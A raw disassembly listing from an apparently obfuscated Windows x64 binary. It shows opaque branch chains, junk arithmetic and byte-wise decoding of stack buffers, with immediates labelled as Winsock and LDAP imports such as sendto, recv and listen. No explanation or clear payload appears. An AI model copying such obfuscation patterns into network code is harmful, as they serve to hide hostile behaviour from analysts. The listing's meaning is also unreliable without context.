lea rax, [r9 + 6]
cmp r8, rax
je 0x14008ffc8
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008ffa5
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008ff71
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14008fcc4
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14008fca1
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008fc72
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14008fc46
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14008fc20
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008fbe8
lea rax, [r9 + 9]
cmp r8, rax
je 0x14008fbb6
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14008fb93
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008fb6e
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008fb3a
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008f670
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140090241
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14009021d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008f85d
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14008f843
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008f827
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14008fadc
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14008fa81
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14008fa34
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008fa07
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008f670
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14008f9d0
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008f9ab
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14008f98c
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008f959
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14008f924
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14008f8ff
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14008f8d3
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008f8a4
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14008f880
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008f670
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x400]
jmp 0x14008f670
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x25
add dl, cl
jmp 0x14008f660
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 7
jmp 0x14008f5e5
movabs rcx, 0x64c94a527556af8f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x17
jmp 0x14008f575
movabs rdx, 0xc1b08a0036ffc968
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r11b
jmp 0x140090060
movabs rdx, 0x20e8579897de43f6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008f562
movabs rdx, 0x80202530f8bcbe84
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
dec rbx
inc rbx
jmp 0x14008f562
movabs rdx, 0xdf57f2c9599b3912
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x7e
add dl, cl
jmp 0x1400900de
movabs rcx, 0x3e8fc061ba79b3a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f562
movabs rcx, 0x9dc78dfa1b582e2e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x42
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f562
movabs rdx, 0xfcff5b927c36a8bc
add rdx, rbx
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub dl, 0x24
jmp 0x14009016d
movabs rdx, 0x5c37292add15234a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 6
add dl, cl
jmp 0x1400901a3
movabs rdx, 0xbb6ef6c33df39dd8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f562
movabs rcx, 0x297a78c0301fd03b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x63
mov byte [rbp + rbx + 0x780], dl
inc rbx
jmp 0x14008f562
movabs rcx, 0x88b2465890fe4ac9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7f
cmp r9, 1
jb 0x14008fa25
movabs rdx, 0x7e20aa4b3ad95b6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x140090062
movabs rcx, 0xe7ea13f0f1dcc557
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x61
cmp r8, 6
jae 0x14008ff1b
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x14008fe7d
movabs rdx, 0xc01012987c5e5f42
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14008fa52
movabs rcx, 0x4721e18952bb3fe5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x43
lea rax, [r8 + r9]
cmp rax, 2
je 0x14008ff47
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14008fd84
movabs rdx, 0x27da0158757e6615
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x6d
add dl, cl
jmp 0x14008fa9f
movabs rcx, 0x91446780293fd70e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x62
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f562
movabs rdx, 0xf07c35188a1e519c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x44
add dl, cl
jmp 0x1400901a3
movabs rcx, 0x4fb402b0eafccc2a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x26
jmp 0x140090173
movabs rcx, 0xaeebd0494bdb46b8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f562
movabs rdx, 0xe239de1acb9c146
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f562
movabs rdx, 0x6d5b6b7a0d983bd4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400900de
movabs rdx, 0xcc9339126e76b662
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
dec rbx
inc rbx
jmp 0x14008f562
movabs rdx, 0x2bcb06aacf5530f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008f562
movabs rcx, 0x8b02d4433033ab7e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x72
jmp 0x140090062
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x14008fce7
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xf
jmp 0x14008fafa
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008fd25
movabs rcx, 0x306c22800dbff25a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x76
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f562
inc rax
cmp r8, rax
jne 0x14008fd53
movabs rdx, 0xd13454e7ace177cc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400901a3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008fafa
movabs rdx, 0x71fc874f4c02fd3e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
jmp 0x140090171
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008fdb0
movabs rdx, 0xc8a233c0149feb87
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x4f
jmp 0x140090060
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008fde2
movabs rcx, 0xa32988f52e2f66b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x13
dec rbx
inc rbx
jmp 0x14008f562
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008fe21
movabs rcx, 0x4bc2fd5e9126014f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x29
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f562
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008fe4d
movabs rcx, 0x8d53622dcf690c33
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x65
jmp 0x140090173
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008fa9f
movabs rcx, 0x2e1b94956e8a91a5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x7d
jmp 0x1400901a3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008febd
movabs rdx, 0x60d845001b7fe4b4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f562
inc rax
cmp r8, rax
jne 0x14008fee8
movabs rcx, 0xa268a9cf59c2ef98
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
jmp 0x140090173
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008fa52
movabs rdx, 0x84c1410637277fee
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400900de
movabs rdx, 0xa8aa3d0c52cf1b28
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, byte [rbp + rbx + 0x780]
sub cl, al
sub dl, 0x18
add dl, cl
add dl, r11b
jmp 0x1400900de
movabs rdx, 0x49726f73f1f0a09a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, byte [rbp + rbx + 0x780]
sub dl, 0x36
jmp 0x140090171
movabs rcx, 0x3f3fd6e49f0daa2f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x49
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f562
movabs rcx, 0x9e77a47cffec24bd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2b
jmp 0x1400901a3
movabs rdx, 0xfdaf721560ca9f4b
add rdx, rbx
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub dl, 0xd
jmp 0x14009016d
movabs rcx, 0x5ce73fadc1a919d9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x11
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f562
movabs rcx, 0x7a8ea876e4448983
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x6b
dec rbx
inc rbx
jmp 0x14008f562
movabs rdx, 0x38fe43a7a6017e9f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x59
add dl, cl
movabs rcx, 0x584623d8833e586f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 9
add r11b, cl
mov byte [rbp + rbx + 0x780], r11b
inc r9
dec rbx
inc rbx
jmp 0x14008f562
movabs rcx, 0xb5dd7a09297b68d7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x1f
dec rbx
inc rbx
jmp 0x14008f562
movabs rcx, 0x151547a18a59e365
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x3d
movabs rcx, 0xf90e5640225fdde1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x27
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x780], cl
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f562
movabs rcx, 0x744d1539eb385df3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x5b
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f562
mov r11, r10
movabs rdx, 0x32bcb06aacf5530f
add rdx, rbx
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub dl, 0x69
add al, al
sub cl, al
add dl, cl
movabs rcx, 0x99d688a7c1816353
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x45
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x780], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xea3aa1db9112260c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x54
add cl, r11b
mov byte [rbp + rbx + 0x780], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f562
movabs rcx, 0xf12c4b9b6eb2482b
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2d
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f562
movabs rcx, 0xc40117ead6352a1d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x35
jmp 0x14008f560
movabs rcx, 0x2338e5833713a4ab
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x53
jmp 0x14008f550
lea rcx, [rbp + 0x142dbcc]
jmp 0x140090284
lea rcx, [rbp + 0x939e85]
jmp 0x140090284
lea rcx, [rbp + 0x780]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140225e30]
lea rcx, [rbp + 0x148]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rdi, rax
mov byte [rbp + 0x7a8], WSASetLastError
mov byte [rbp + 0x7a9], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x7aa], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x7ab], 6
mov byte [rbp + 0x7ac], Ordinal_79
mov byte [rbp + 0x7ad], 0x65
mov byte [rbp + 0x7ae], 7
mov byte [rbp + 0x7af], Ordinal_30
mov byte [rbp + 0x7b0], 5
mov byte [rbp + 0x7b1], 0xad
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7b2], xmm0
mov qword [rbp + 0x7c2], rax
mov byte [rbp + 0x7ca], al
movabs rsi, 0x1e5356cae4ac7445
movabs r14, 0x7cd61ea4c22589a9
movabs r15, 0xfdf2c4fe96f15063
movabs r13, 0xf4163eceebc8ab20
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140090dfa
movzx r11d, byte [rbp + rbx + 0x7a8]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140090dee
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400903b0
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x1d
jmp 0x1400903ea
je 0x140090d64
lea rax, [r9 + 3]
cmp r8, rax
je 0x140090cc9
lea rax, [rcx + 1]
cmp r8, rax
je 0x140090c91
lea rax, [r9 + 4]
cmp r8, rax
je 0x140090c66
lea rax, [r9 + 9]
cmp r8, rax
je 0x140090c0e
nop word [rax + rax]
cmp r9, rbx
ja 0x140090de2
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x14009041f
lea r10, [rbx + r14]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x61
add r10b, r11b
jmp 0x140090452
lea rax, [r9 + 1]
cmp r8, rax
je 0x140090bec
inc rax
cmp r8, rax
je 0x140090bbe
lea rax, [r9 + 5]
cmp r8, rax
je 0x140090b99
lea rax, [r9 + 6]
cmp r8, rax
je 0x140090b64
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140090796
nop
lea rax, [r9 + 9]
cmp r8, rax
je 0x140090770
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140090742
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140090717
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400906ee
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400906b4
lea r8, [r9 + 0x400]
lea r9, [r8 + 5]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140090dbd
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140090d98
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140090533
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140090622
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 4]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400905e8
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400905bf
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140090597
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140090577
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140090551
lea r8, [r9 + 1]
lea r9, [r8 + 0x28]
jmp 0x140090460
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x4b
add r10b, dl
jmp 0x140090375
movabs rdx, 0xe6b0f526112c4d48
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140090c2e
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140090cb1
movabs rdx, 0x7ac8e3a35916da0c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x54
add r10b, dl
jmp 0x140090cea
movabs rdx, 0x3e22360d8fbdf182
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140090d1a
movabs rdx, 0x17b8877c66508f8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x7a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090362
movabs rcx, 0xf08d7b55bc54f28b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x33
add r10b, cl
cmp r8, 0x28
jae 0x140090adc
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x140090998
movabs rdx, 0xb6b1ccfd3f3d3e1a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 0x20
jb 0x140090acc
movabs rcx, 0x153494d71cb6537e
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x140090c31
movabs rdx, 0xed04b7dc8ce139f6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x7a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090362
movabs rdx, 0xfa6a0185677d97ce
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140090cb1
movabs rcx, 0x811ca659d4cbc6ba
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x16
dec rbx
inc rbx
jmp 0x140090362
movabs rcx, 0x4475f8c40b72de30
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x50
inc r9
dec rbx
inc rbx
jmp 0x140090362
movabs rdx, 0x7cf4b2e4219f5a6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140090c2e
lea rax, [r9 + 2]
cmp r8, rax
jae 0x1400907f5
lea r10, [rbx + rsi]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x1d
add r10b, r11b
lea rax, [r9 + r8]
cmp rax, 4
je 0x140090b33
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400908c5
movabs rcx, 0x39dbae587d17b471
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
jmp 0x140090645
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140090834
movabs rcx, 0xf9ac3d49844b1352
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3e
movzx eax, byte [rbp + rbx + 0x7a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090362
inc rax
cmp r8, rax
jne 0x140090865
movabs rdx, 0x72f9987516fce466
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140090cea
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140090893
movabs rcx, 0xec46f3a0a9aeb57a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x56
jmp 0x140090cb1
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400907b6
movabs rdx, 0xdee1a9f7cf1257a2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6e
jmp 0x140090c2e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400908f3
movabs rdx, 0x76825bee46709cfb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x23
jmp 0x140090c2e
inc rax
cmp r8, rax
jne 0x140090926
movabs rcx, 0xefcfb719d9226e0f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x69
dec rbx
inc rbx
jmp 0x140090362
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140090963
movabs rcx, 0xa5c3bfdb352d27ad
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x45
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090362
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140090645
movabs rdx, 0xe26a6d70fe861037
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x7f
add r10b, dl
jmp 0x140090cea
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400909d7
movabs rcx, 0xf3587a93089626a4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7c
movzx eax, byte [rbp + rbx + 0x7a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090362
inc rax
cmp r8, rax
jne 0x140090a07
movabs rdx, 0x2fff2828d1ef0f2e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x42
add r10b, dl
jmp 0x140090d1a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140090a38
movabs rdx, 0x6ca5d5be9b47f7b8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 8
add r10b, dl
jmp 0x140090cea
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140090a65
movabs rcx, 0x2299de7ff752b156
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x140090b07
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140090a99
movabs rcx, 0x5f408c15c0ab99e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x140090362
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140090680
movabs rdx, 0xd88de741535d6af4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140090c2e
mov byte [rbp + rbx + 0x7a8], r10b
inc rbx
jmp 0x140090362
movabs rdx, 0x51db426ce60f3c08
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0x7a8]
sub r10b, al
sub r10b, 0x38
add r10b, r11b
add r10b, dl
movabs rcx, 0x702e9937cabbb04d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x1b
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x7a8], cl
jmp 0x140090cb1
movabs rdx, 0x8e81f002af682492
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x7a8]
add r10b, r11b
add r10b, dl
jmp 0x140090cea
movabs rcx, 0xe8be30277a3afce5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x43
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090362
movabs rcx, 0xac178291b0e2145b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7d
jmp 0x140090cb1
movabs rcx, 0xf62379d054d75abd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2b
inc r9
dec rbx
inc rbx
